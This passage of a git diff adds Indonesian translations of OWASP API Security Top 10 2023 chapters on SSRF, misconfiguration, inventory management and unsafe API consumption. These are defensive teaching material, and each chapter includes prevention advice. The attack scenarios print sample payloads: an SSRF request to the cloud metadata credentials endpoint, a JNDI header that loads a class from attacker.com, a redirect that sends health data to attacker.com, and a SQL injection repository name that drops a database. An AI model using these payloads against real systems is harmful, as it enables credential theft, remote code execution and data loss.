memaksa maskapai untuk memberikan diskon harga tiket untuk mengisi penerbangan. + +Pada titik ini, pengguna membeli satu tiket untuk dirinya sendiri yang jauh lebih murah dari yang asli. + +### Skenario #3 + +Sebuah aplikasi ride-sharing menyediakan program referral - pengguna dapat mengundang teman mereka dan mendapatkan kredit untuk setiap teman yang bergabung dengan aplikasi. Kredit ini kemudian dapat digunakan sebagai uang tunai untuk memesan tumpangan. + +Seorang penyerang mengeksploitasi alur ini dengan menulis skrip untuk mengotomatisasi proses pendaftaran, dengan setiap pengguna baru menambahkan kredit ke dompet penyerang. + +Penyerang kemudian dapat menikmati tumpangan gratis atau menjual akun dengan kredit berlebihan untuk uang tunai. + +## Cara Mencegah + +Perencanaan mitigasi harus dilakukan dalam dua lapisan: + +* Bisnis - identifikasi aliran bisnis yang mungkin merugikan bisnis jika digunakan secara berlebihan. +* Rekayasa - pilih mekanisme perlindungan yang tepat untuk memitigasi risiko bisnis. + + Beberapa mekanisme perlindungan lebih sederhana sementara yang lain lebih sulit diterapkan. Metode berikut digunakan untuk memperlambat ancaman otomatis: + + * Fingerprinting perangkat: menolak layanan ke perangkat klien yang tidak diharapkan (misalnya headless browser) cenderung membuat aktor ancaman menggunakan solusi yang lebih canggih, sehingga lebih mahal bagi mereka + * Deteksi manusia: menggunakan captcha atau solusi biometrik tingkat lanjut (misalnya pola pengetikan) + * Pola non-manusia: menganalisis alur pengguna untuk mendeteksi pola non-manusia (misalnya pengguna mengakses fungsi "tambah ke keranjang" dan "selesaikan pembelian" dalam waktu kurang dari satu detik) + * Pertimbangkan memblokir alamat IP dari node keluar Tor dan proxy terkenal + + Amankan dan batasi akses ke API yang dikonsumsi langsung oleh mesin (seperti API pengembang dan B2B). Mereka cenderung menjadi target yang mudah bagi penyerang karena seringkali tidak menerapkan semua mekanisme perlindungan yang diperlukan. + +## Referensi + +### OWASP + +* [OWASP Ancaman Otomatis ke Aplikasi Web][1] +* [API10:2019 Pencatatan & Pemantauan yang Tidak Memadai][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/id/0xaa-insufficient-logging-monitoring/ diff --git a/editions/2023/id/0xa7-server-side-request-forgery.md b/editions/2023/id/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..b95b025b0 --- /dev/null +++ b/editions/2023/id/0xa7-server-side-request-forgery.md @@ -0,0 +1,137 @@ +# API7:2023 Pemalsuan Permintaan Sisi Server + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | Prevalensi **Umum** : **Mudah** Terdeteksi | Teknis **Sedang** : Spesifik Bisnis | +| Eksploitasi membutuhkan penyerang untuk menemukan endpoint API yang mengakses URI yang disediakan oleh klien. Secara umum, SSRF dasar (saat respons dikembalikan ke penyerang) lebih mudah dieksploitasi daripada Blind SSRF ketika penyerang tidak menerima informasi apakah serangan berhasil atau tidak. | Konsep modern dalam pengembangan aplikasi mendorong pengembang untuk mengakses URI yang disediakan oleh klien. Kurangnya atau validasi yang tidak tepat dari URI tersebut adalah masalah yang umum. Permintaan dan analisis respons API reguler akan dibutuhkan untuk mendeteksi masalah tersebut. Ketika respons tidak dikembalikan (Blind SSRF) mendeteksi kerentanan membutuhkan lebih banyak upaya dan kreativitas. | Eksploitasi yang berhasil mungkin mengarah ke enumerasi layanan internal (misalnya pemindaian port), pengungkapan informasi, menghindari firewall, atau mekanisme keamanan lainnya. Dalam beberapa kasus, dapat mengarah ke DoS atau server digunakan sebagai proxy untuk menyembunyikan kegiatan berbahaya. | + +## Apakah API Rentan? + +Celah Pemalsuan Permintaan Sisi Server (SSRF) terjadi ketika API mengambil sumber daya jarak jauh tanpa memvalidasi URL yang diberikan pengguna. Hal ini memungkinkan penyerang memaksa aplikasi untuk mengirim permintaan yang dibuat ke tujuan yang tidak terduga, bahkan ketika dilindungi oleh firewall atau VPN. + +Konsep modern dalam pengembangan aplikasi membuat SSRF lebih umum dan lebih berbahaya. + +Lebih umum - konsep berikut mendorong pengembang untuk mengakses sumber daya eksternal berdasarkan masukan pengguna: Webhook, mengambil file dari URL, SSO kustom, dan pratinjau URL. + +Lebih berbahaya - Teknologi modern seperti penyedia cloud, Kubernetes, dan Docker mengekspos saluran manajemen dan kontrol melalui HTTP pada jalur yang dapat diprediksi dan dikenal dengan baik. Saluran tersebut adalah target yang mudah untuk serangan SSRF. + +Juga lebih menantang untuk membatasi lalu lintas keluar aplikasi Anda, karena sifat terhubung aplikasi modern. + +Risiko SSRF tidak selalu dapat sepenuhnya dihilangkan. Saat memilih mekanisme perlindungan, penting untuk mempertimbangkan risiko bisnis dan kebutuhan. + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah jejaring sosial memungkinkan pengguna mengunggah foto profil. Pengguna dapat memilih untuk mengunggah file gambar dari mesin mereka, atau menyediakan URL gambar. Memilih opsi kedua, akan memicu panggilan API berikut: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Seorang penyerang dapat mengirim URL berbahaya dan memulai pemindaian port di jaringan internal menggunakan Endpoint API. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +Berdasarkan waktu respons, penyerang dapat mengetahui apakah port terbuka atau tidak. + +### Skenario #2 + +Sebuah produk keamanan menghasilkan peristiwa ketika mendeteksi anomali di jaringan. Beberapa tim lebih suka meninjau peristiwa dalam sistem pemantauan yang lebih luas dan generik, seperti SIEM (Security Information and Event Management). Untuk tujuan ini, produk menyediakan integrasi dengan sistem lain menggunakan webhook. + +Sebagai bagian dari pembuatan webhook baru, mutasi GraphQL dikirim dengan URL API SIEM. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Selama proses pembuatan, back-end API mengirim permintaan uji ke URL webhook yang diberikan, dan menyajikan respons ke pengguna. + +Seorang penyerang dapat memanfaatkan alur ini, dan membuat permintaan API untuk sumber daya sensitif, seperti layanan metadata cloud internal yang mengekspos kredensial: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Karena aplikasi menampilkan respons dari permintaan uji, penyerang dapat melihat kredensial lingkungan cloud. + +## Cara Mencegah + +* Isolasi mekanisme pengambilan sumber daya di jaringan Anda: biasanya fitur ini bertujuan untuk mengambil sumber daya jarak jauh dan bukan internal. +* Kapan pun memungkinkan, gunakan allow list untuk: + * Asal lokasi sumber daya (misalnya Google Drive, Gravatar, dll.) yang diharapkan digunakan pengguna untuk mengunduh sumber daya + * Skema URL dan port + * Jenis media yang diterima untuk fungsionalitas tertentu +* Nonaktifkan pengalihan HTTP. +* Gunakan parser URL yang diuji dan dikelola dengan baik untuk menghindari masalah yang disebabkan oleh inkonsistensi parsing URL. +* Validasi dan bersihkan semua data input yang diberikan klien. +* Jangan kirim respons mentah ke klien. + +## Referensi + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Eksternal + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/id/0xa8-security-misconfiguration.md b/editions/2023/id/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..90e13c163 --- /dev/null +++ b/editions/2023/id/0xa8-security-misconfiguration.md @@ -0,0 +1,107 @@ +# API8:2023 Miskonfigurasi Keamanan + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Luas** : Kemungkinan Dideteksi **Mudah** | Teknis **Parah** : Khusus Bisnis | +| Penyerang sering mencoba menemukan kelemahan yang belum diperbaiki, endpoint umum, layanan yang berjalan dengan konfigurasi default yang tidak aman, atau file dan direktori yang tidak terlindungi untuk mendapatkan akses tidak sah atau pengetahuan tentang sistem. Sebagian besar informasi ini adalah pengetahuan publik dan eksploitasi mungkin tersedia. | Kesalahan konfigurasi keamanan dapat terjadi di semua tingkat stack API, mulai dari tingkat jaringan hingga tingkat aplikasi. Alat otomatis tersedia untuk mendeteksi dan mengeksploitasi kesalahan konfigurasi seperti layanan yang tidak perlu atau opsi warisan. | Kesalahan konfigurasi keamanan tidak hanya mengekspos data pengguna yang sensitif, tetapi juga detail sistem yang dapat menyebabkan kompromi penuh server. | + +## Apakah API Rentan? + +API menjadi rentan bila: + +* Tidak ada penguncian keamanan yang sesuai di seluruh bagian stack API, + atau izin yang dikonfigurasi dengan tidak benar pada layanan cloud +* Tidak ada patch keamanan terbaru, atau sistem sudah kadaluwarsa +* Fitur yang tidak diperlukan diaktifkan (misalnya, verba HTTP, fitur logging) +* Ada ketidaksesuaian dalam cara permintaan masuk diproses oleh server + dalam rantai server HTTP +* Tidak ada Keamanan Lapisan Transportasi (TLS) +* Direktif keamanan atau kendali cache tidak dikirimkan kepada klien +* Kebijakan Cross-Origin Resource Sharing (CORS) hilang atau tidak diatur dengan tepat +* Pesan kesalahan mencakup stack trace, atau mengekspos informasi sensitif lainnya + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah server API back-end menjaga catatan akses yang ditulis oleh utilitas logging sumber terbuka pihak ketiga yang populer dengan dukungan ekspansi tempat dan pencarian JNDI +(Java Naming and Directory Interface), keduanya diaktifkan secara default. Untuk +setiap permintaan, entri baru ditulis ke file log dengan pola berikut: ` / - `. + +Pelaku jahat mengeluarkan permintaan API berikut, yang ditulis ke file log akses: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +Karena konfigurasi default yang tidak aman dari utilitas logging dan kebijakan keluar jaringan yang longgar, dalam rangka menulis entri yang sesuai +ke file log akses, sambil memperluas nilai dalam header permintaan `X-Api-Version`, utilitas logging akan mengambil dan menjalankan objek `Malicious.class` dari server yang dikendalikan oleh pelaku jahat. + +### Skenario #2 + +Sebuah situs jaringan sosial menawarkan fitur "Pesan Langsung" yang memungkinkan pengguna +mempertahankan percakapan pribadi. Untuk mengambil pesan baru untuk percakapan tertentu, situs web mengeluarkan permintaan API berikut (interaksi pengguna tidak diperlukan): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Karena tanggapan API tidak menyertakaj header tanggapan HTTP `Cache-Control`, percakapan pribadi akan disimpan dalam cache browser web, memungkinkan +pelaku jahat mengambilnya dari file cache browser dalam sistem file. + +## Cara Mencegah + +Siklus hidup API harus mencakup: + +* Proses pengerasan berulang yang menghasilkan penerapan lingkungan yang terkunci dengan benar dengan cepat dan mudah +* Tugas untuk meninjau dan memperbarui konfigurasi di seluruh stack API. Tinjauan harus mencakup: file orkestrasi, komponen API, dan layanan cloud + (misalnya, izin bucket S3) +* Proses otomatis untuk terus-menerus menilai efektivitas konfigurasi dan pengaturan di semua lingkungan + +Selain itu: + +* Pastikan semua komunikasi API dari klien ke server API dan komponen hulu/hilir terjadi melalui saluran komunikasi yang terenkripsi + (TLS), tanpa memandang apakah itu API internal atau publik. +* Lebih spesifik tentang verba HTTP mana pun yang dapat diakses oleh setiap API: semua verba HTTP lainnya harus dinonaktifkan (misalnya, HEAD). +* API yang diharapkan diakses dari klien berbasis browser (misalnya, front-end WebApp) harus setidaknya: + * mengimplementasikan kebijakan Cross-Origin Resource Sharing (CORS) yang tepat + * menyertakan Header Keamanan yang berlaku +* Batasi jenis konten/format data masuk hanya pada yang memenuhi persyaratan bisnis/fungsional. +* Pastikan semua server dalam rantai server HTTP (misalnya, load balancer, reverse and forward proxy, serta server backend) memproses permintaan masuk dengan cara yang seragam untuk menghindari masalah desinkronisasi. +* Jika memungkinkan, tentukan dan tegakkan semua skema muatan respons API, termasuk respons kesalahan, untuk mencegah pengecualian jejak dan informasi berharga lainnya dikirimkan kembali kepada pelaku serangan. + +## Referensi + +### OWASP + +* [Proyek OWASP Secure Headers][1] +* [Pengujian Konfigurasi dan Manajemen Implementasi - Panduan Pengujian Keamanan Web Guide][2] +* [Pengujian Penanganan Kesalahan - Panduan Pengujian Keamanan Web][3] +* [Pengujian Cross Site Request Forgery - Panduan Pengujian Keamanan Web][4] + +### Eksternal + +* [CWE-2: Kelemahan Keamanan Lingkungan][5] +* [CWE-16: Konfigurasi][6] +* [CWE-209: Pembuatan Pesan Kesalahan yang Mengandung Informasi Sensitif][7] +* [CWE-319: Pengiriman Teks Terbuka Informasi Sensitif][8] +* [CWE-388: Penanganan Kesalahan][9] +* [CWE-444: Interpretasi Tidak Konsisten Permintaan HTTP ('HTTP Request/Response Smuggling')][10] +* [CWE-942: Kebijakan Lintas Domain yang Permissif dengan Domain yang Tidak Terpercaya][11] +* [Panduan Keamanan Umum Server][12], NIST +* [Let's Encrypt: Otoritas Sertifikat Gratis, Otomatis, dan Terbuka][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/id/0xa9-improper-inventory-management.md b/editions/2023/id/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..78a6208a0 --- /dev/null +++ b/editions/2023/id/0xa9-improper-inventory-management.md @@ -0,0 +1,88 @@ +# API9:2023 Pengelolaan Inventaris yang Tidak Tepat + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Luas** : Kemungkinan Dideteksi **Sedang** | Teknis **Sedang** : Khusus Bisnis | +| Agen ancaman biasanya mendapatkan akses tidak sah melalui versi API lama atau endpoint yang tidak diperbaiki dan menggunakan persyaratan keamanan yang lebih lemah. Dalam beberapa kasus, eksploitasi tersedia. Atau, mereka mungkin mendapatkan akses ke data sensitif melalui pihak ketiga yang tidak ada alasan untuk berbagi data dengannya. | Dokumentasi yang sudah kadaluarsa membuat lebih sulit untuk menemukan dan/atau memperbaiki kerentanan. Ketidakadaan inventaris aset dan strategi pensiun mengakibatkan sistem yang tidak diperbaiki, yang mengakibatkan kebocoran data sensitif. Sangat umum untuk menemukan host API yang terpapar secara tidak perlu karena konsep modern seperti mikro layanan, yang membuat aplikasi mudah untuk dideploy dan mandiri (misalnya, komputasi awan, K8S). Cukup dengan Google Dorking, enumerasi DNS, atau menggunakan mesin pencari khusus untuk berbagai jenis server (webcam, router, server, dll.) yang terhubung ke internet akan cukup untuk menemukan target. | Penyerang dapat memperoleh akses ke data sensitif, atau bahkan mengambil alih server. Terkadang berbagai versi/deployment API terhubung ke database yang sama dengan data nyata. Agen ancaman dapat mengeksploitasi endpoint yang sudah tidak digunakan yang tersedia dalam versi API lama untuk mendapatkan akses ke fungsi administratif atau mengeksploitasi kerentanan yang sudah dikenal. | + +## Apakah API Rentan? + +Sifat API dan aplikasi modern yang tersebar dan terhubung membawa tantangan baru. Penting bagi organisasi untuk tidak hanya memiliki pemahaman yang baik dan visibilitas terhadap API dan endpoint API mereka sendiri, tetapi juga bagaimana API menyimpan atau berbagi data dengan pihak ketiga eksternal. + +Menjalankan beberapa versi API memerlukan sumber daya manajemen tambahan +dari penyedia API dan memperluas permukaan serangan. + +Sebuah API memiliki "blindspot dokumentasi" jika: + +* Tujuan host API tidak jelas, dan tidak ada jawaban eksplisit untuk + pertanyaan-pertanyaan berikut + * Lingkungan mana yang digunakan API (misalnya, produksi, staging, tes, + pengembangan)? + * Siapa yang seharusnya memiliki akses jaringan ke API (misalnya, publik, internal, mitra)? + * Versi API mana yang sedang berjalan? +* Tidak ada dokumentasi atau dokumentasi yang ada tidak diperbarui. +* Tidak ada rencana pensiun untuk setiap versi API. +* Inventaris host hilang atau sudah kadaluarsa. + +Visibilitas dan inventaris aliran data sensitif memainkan peran penting sebagai +bagian dari rencana respons insiden, jika terjadi pelanggaran di sisi pihak ketiga. + +Sebuah API memiliki "blindspot aliran data" jika: + +* Ada "aliran data sensitif" di mana API berbagi data sensitif dengan pihak ketiga dan + * Tidak ada justifikasi bisnis atau persetujuan atas aliran tersebut + * Tidak ada inventaris atau visibilitas aliran tersebut + * Tidak ada visibilitas mendalam tentang jenis data sensitif yang dibagikan + + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah jaringan sosial mengimplementasikan mekanisme pembatasan laju yang menghalangi penyerang +menggunakan metode brute force untuk menebak token reset kata sandi. Mekanisme ini tidak +diimplementasikan sebagai bagian dari kode API itu sendiri tetapi di komponen terpisah antara +klien dan API resmi (`api.socialnetwork.owasp.org`). Seorang peneliti menemukan host API beta +(`beta.api.socialnetwork.owasp.org`) yang menjalankan API yang sama, termasuk mekanisme reset kata sandi, +tetapi mekanisme pembatasan laju tidak ada. Peneliti tersebut berhasil mereset kata sandi +pengguna dengan menebak token 6 digit menggunakan brute force. + +### Skenario #2 + +Sebuah jaringan sosial memungkinkan pengembang aplikasi independen untuk mengintegrasikan dengan +mereka. Sebagai bagian dari proses ini, izin diminta dari pengguna akhir, sehingga jaringan sosial +dapat berbagi informasi pribadi pengguna dengan aplikasi independen. + +Aliran data antara jaringan sosial dan aplikasi independen tidak cukup dibatasi atau dimonitor, +memungkinkan aplikasi independen untuk mengakses tidak hanya +informasi pengguna tetapi juga informasi pribadi dari semua teman mereka. + +Sebuah firma konsultan membangun aplikasi berbahaya dan berhasil mendapatkan izin dari +270.000 pengguna. Karena kelemahan ini, firma konsultan berhasil mengakses +informasi pribadi dari 50.000.000 pengguna. Kemudian, firma konsultan +menjual informasi tersebut untuk tujuan berbahaya. + +## Cara Mencegah + +* Inventarisasi semua host API dan dokumentasikan aspek penting dari masing-masing di + antaranya, berfokus pada lingkungan API (misalnya, produksi, staging, tes, pengembangan), siapa yang + seharusnya memiliki akses jaringan ke host (misalnya, publik, internal, mitra) dan versi API. +* Inventarisasi layanan terintegrasi dan dokumentasikan aspek penting seperti peran mereka + dalam sistem, data apa yang dipertukarkan (aliran data), dan sensitivitasnya. +* Dokumentasikan semua aspek API Anda seperti otentikasi, kesalahan, pengalihan, pembatasan laju, + kebijakan berbagi sumber daya lintas asal (CORS), dan endpoint, termasuk parameter, permintaan, dan tanggapan. +* Hasilkan dokumentasi secara otomatis dengan mengadopsi standar terbuka. Sertakan pembangunan dokumentasi dalam jalur CI/CD Anda. +* Buat dokumentasi API hanya tersedia bagi mereka yang berwenang untuk menggunakan API. +* Gunakan langkah-langkah perlindungan eksternal seperti solusi keamanan API yang spesifik untuk semua versi API Anda yang terpapar, tidak hanya untuk versi produksi saat ini. +* Hindari menggunakan data produksi dengan implementasi API non-produksi. Jika hal ini tidak dapat dihindari, endpoint ini harus mendapatkan perlakuan keamanan yang sama dengan endpoint produksi. +* Ketika versi API yang lebih baru mencakup perbaikan keamanan, lakukan analisis risiko untuk + memberi tahu tindakan mitigasi yang diperlukan untuk versi lama. Misalnya, apakah memungkinkan untuk melakukan backport perbaikan tanpa merusak kompatibilitas API atau apakah Anda perlu segera menghapus versi lama dan memaksa semua klien beralih ke versi terbaru. + + +## Referensi + +### Eksternal + +* [CWE-1059: Dokumentasi yang Tidak Lengkap][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html \ No newline at end of file diff --git a/editions/2023/id/0xaa-unsafe-consumption-of-apis.md b/editions/2023/id/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..b0ab89867 --- /dev/null +++ b/editions/2023/id/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,89 @@ +# API10:2023 Konsumsi API yang Tidak Aman + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Umum** : Kemungkinan Dideteksi **Sedang** | Teknis **Serius** : Khusus Bisnis | +| Penyerang perlu mengidentifikasi dan mungkin mengkompromikan API/Layanan lain yang terintegrasi dengan API target untuk mengeksploitasi masalah ini. Biasanya, informasi ini tidak tersedia secara publik atau API/layanan yang terintegrasi tidak mudah dieksploitasi. | Para pengembang cenderung percaya dan tidak memverifikasi endpoint yang berinteraksi dengan API eksternal atau pihak ketiga, mengandalkan persyaratan keamanan yang lebih lemah seperti yang berkaitan dengan keamanan transportasi, otentikasi/otorisasi, dan validasi serta sanitasi input. Penyerang perlu mengidentifikasi layanan yang terintegrasi dengan API target (sumber data) dan, akhirnya, mengkompromikannya. | Dampaknya bervariasi sesuai dengan apa yang dilakukan API target dengan data yang diambil. Eksploitasi yang berhasil dapat menyebabkan paparan informasi sensitif kepada aktor yang tidak diotorisasi, banyak jenis injeksi, atau penolakan layanan. | + +## Apakah API Rentan? + +Pengembang cenderung lebih percaya data yang diterima dari API pihak ketiga daripada masukan pengguna. Hal ini terutama berlaku untuk API yang ditawarkan oleh perusahaan-perusahaan terkemuka. Karena itu, pengembang cenderung mengadopsi standar keamanan yang lebih lemah, misalnya dalam hal validasi dan sanitasi input. + +API mungkin rentan jika: + +* Berinteraksi dengan API lain melalui saluran yang tidak terenkripsi; +* Tidak memvalidasi dan menyaring data yang dikumpulkan dari API lain sebelum + memprosesnya atau melewatkan data tersebut ke komponen yang lebih rendah; +* Mengikuti pengalihan tanpa pertimbangan; +* Tidak membatasi jumlah sumber daya yang tersedia untuk memproses respons layanan pihak ketiga; +* Tidak mengimplementasikan batas waktu untuk interaksi dengan layanan pihak ketiga; + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah API mengandalkan layanan pihak ketiga untuk memperkaya alamat bisnis yang diberikan oleh pengguna akhir. Ketika alamat diberikan kepada API oleh pengguna akhir, alamat tersebut dikirim ke layanan pihak ketiga dan data yang dikembalikan kemudian disimpan dalam database lokal yang mendukung SQL. + +Aktor jahat menggunakan layanan pihak ketiga untuk menyimpan muatan SQLi yang terkait dengan bisnis yang dibuat oleh mereka. Kemudian mereka menyerang API yang rentan dengan memberikan masukan khusus yang membuatnya menarik "bisnis berbahaya" mereka dari layanan pihak ketiga. Muatan SQLi akhirnya dieksekusi oleh database, mengirimkan data ke server yang dikendalikan oleh penyerang. + +### Skenario #2 + +Sebuah API terintegrasi dengan penyedia layanan pihak ketiga untuk menyimpan secara aman informasi medis sensitif pengguna. Data dikirim melalui koneksi aman menggunakan permintaan HTTP seperti di bawah ini: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Aktor jahat menemukan cara untuk mengkompromikan API pihak ketiga dan mulai memberikan respons `308 Permanent Redirect` untuk permintaan seperti di atas. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Karena API mengikuti pengalihan dari layanan pihak ketiga tanpa mempertimbangkannya, ia akan mengirimkan permintaan yang sama persis termasuk data sensitif pengguna, namun kali ini ke server penyerang. + +### Skenario #3 + +Seorang penyerang dapat menyiapkan repositori git yang diberi nama `'; drop db;--`. + +Sekarang, ketika integrasi dari aplikasi yang diserang dilakukan dengan repositori jahat ini, muatan injeksi SQL digunakan pada aplikasi yang membangun kueri SQL yang percaya bahwa nama repositori adalah masukan yang aman. + +## Cara Mencegah + +* Saat mengevaluasi penyedia layanan, nilai postur keamanan API mereka. +* Pastikan semua interaksi API terjadi melalui saluran komunikasi yang aman (TLS). +* Selalu validasi dan lakukan sanitasi data yang diterima dari API terintegrasi sebelum menggunakannya. +* Pelihara daftar whitelist lokasi yang dikenal API terintegrasi yang dapat mengalihkan + permintaan Anda: jangan mengikuti pengalihan tanpa pertimbangan. + + +## Referensi + +### OWASP + +* [Cheat Sheet Keamanan Layanan Web][1] +* [Kekurangan Injeksi][2] +* [Cheat Sheet Validasi Input][3] +* [Cheat Sheet Pencegahan Injeksi][4] +* [Cheat Sheet Perlindungan Lapisan Transport][5] +* [Cheat Sheet Pengalihan dan Pengalihan Tanpa Validasi][6] + +### Eksternal + +* [CWE-20: Validasi Input yang Tidak Tepat][7] +* [CWE-200: Paparan Informasi Sensitif kepada Aktor yang Tidak Diotorisasi][8] +* [CWE-319: Pengiriman Teks Terbuka Informasi Sensitif][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html \ No newline at end of file diff --git a/editions/2023/id/0xb0-next-devs.md b/editions/2023/id/0xb0-next-devs.md new file mode 100644 index 000000000..8b9e200e7 --- /dev/null +++ b/editions/2023/id/0xb0-next-devs.md @@ -0,0 +1,32 @@ +# Apa Selanjutnya untuk Pengembang + +Tugas untuk membuat dan memelihara aplikasi yang aman, atau memperbaiki aplikasi yang sudah ada, bisa menjadi sulit. Ini tidak berbeda untuk API. + +Kami percaya bahwa pendidikan dan kesadaran adalah faktor kunci dalam menulis perangkat lunak yang aman. Semua yang diperlukan untuk mencapai tujuan ini bergantung pada **mendirikan dan menggunakan proses keamanan yang dapat diulang serta kendali keamanan standar**. + +OWASP menyediakan banyak sumber daya gratis dan terbuka untuk membantu Anda mengatasi masalah keamanan. Silakan kunjungi [halaman Proyek OWASP][1] untuk daftar komprehensif proyek yang tersedia. + +| | | +|-|-| +| **Pendidikan** | [Pemandu Keamanan Aplikasi][2] seharusnya memberi Anda gambaran baik tentang proyek-proyek yang tersedia untuk setiap tahap/fase Siklus Hidup Pengembangan Perangkat Lunak (SDLC). Untuk pembelajaran/latihan langsung, Anda dapat memulainya dengan [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] atau [OWASP Juice Shop][4]: keduanya memiliki API yang rentan secara disengaja. [Proyek Direktori Aplikasi Web Rentan OWASP][5] menyediakan daftar aplikasi yang rentan secara disengaja: Anda akan menemukan beberapa API rentan lainnya di sana. Anda juga dapat menghadiri sesi pelatihan [Konferensi OWASP AppSec][6], atau [bergabung dengan cabang lokal Anda][7]. | +| **Persyaratan Keamanan** | Keamanan seharusnya menjadi bagian setiap proyek sejak awal. Ketika mendefinisikan persyaratan, penting untuk mendefinisikan apa arti "aman" untuk proyek tersebut. OWASP merekomendasikan Anda menggunakan [Standar Verifikasi Keamanan Aplikasi OWASP (ASVS)][8] sebagai panduan untuk menetapkan persyaratan keamanan. Jika Anda mengalihdayakan, pertimbangkan [Lampiran Kontrak Perangkat Lunak Aman OWASP][9], yang harus disesuaikan sesuai dengan hukum dan regulasi setempat. | +| **Arsitektur Keamanan** | Keamanan seharusnya tetap menjadi perhatian selama semua tahapan proyek. [Seri Contekan OWASP][10] adalah titik awal yang baik untuk panduan tentang bagaimana mendesain keamanan selama fase arsitektur. Di antara banyak lainnya, Anda akan menemukan [Contekan Keamanan REST][11] dan [Contekan Penilaian REST][12], serta [Contekan GraphQL][13]. | +| **Kendali Keamanan Standar** | Mengadopsi kendali keamanan standar mengurangi risiko memasukkan kelemahan keamanan saat menulis logika Anda sendiri. Meskipun banyak kerangka kerja modern sekarang dilengkapi dengan kendali standar yang efektif, [Kendali Proaktif OWASP][14] memberikan pandangan yang baik tentang kendali keamanan apa yang seharusnya Anda sertakan dalam proyek Anda. OWASP juga menyediakan beberapa perpustakaan dan alat yang mungkin Anda temukan berguna, seperti kendali validasi. | +| **Siklus Hidup Pengembangan Perangkat Lunak Aman** | Anda dapat menggunakan [Model Kematangan Jaminan Perangkat Lunak OWASP (SAMM)][15] untuk meningkatkan proses pembuatan API Anda. Beberapa proyek OWASP lainnya tersedia untuk membantu Anda dalam berbagai tahap pengembangan API, misalnya, [Panduan Tinjauan Kode OWASP][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: 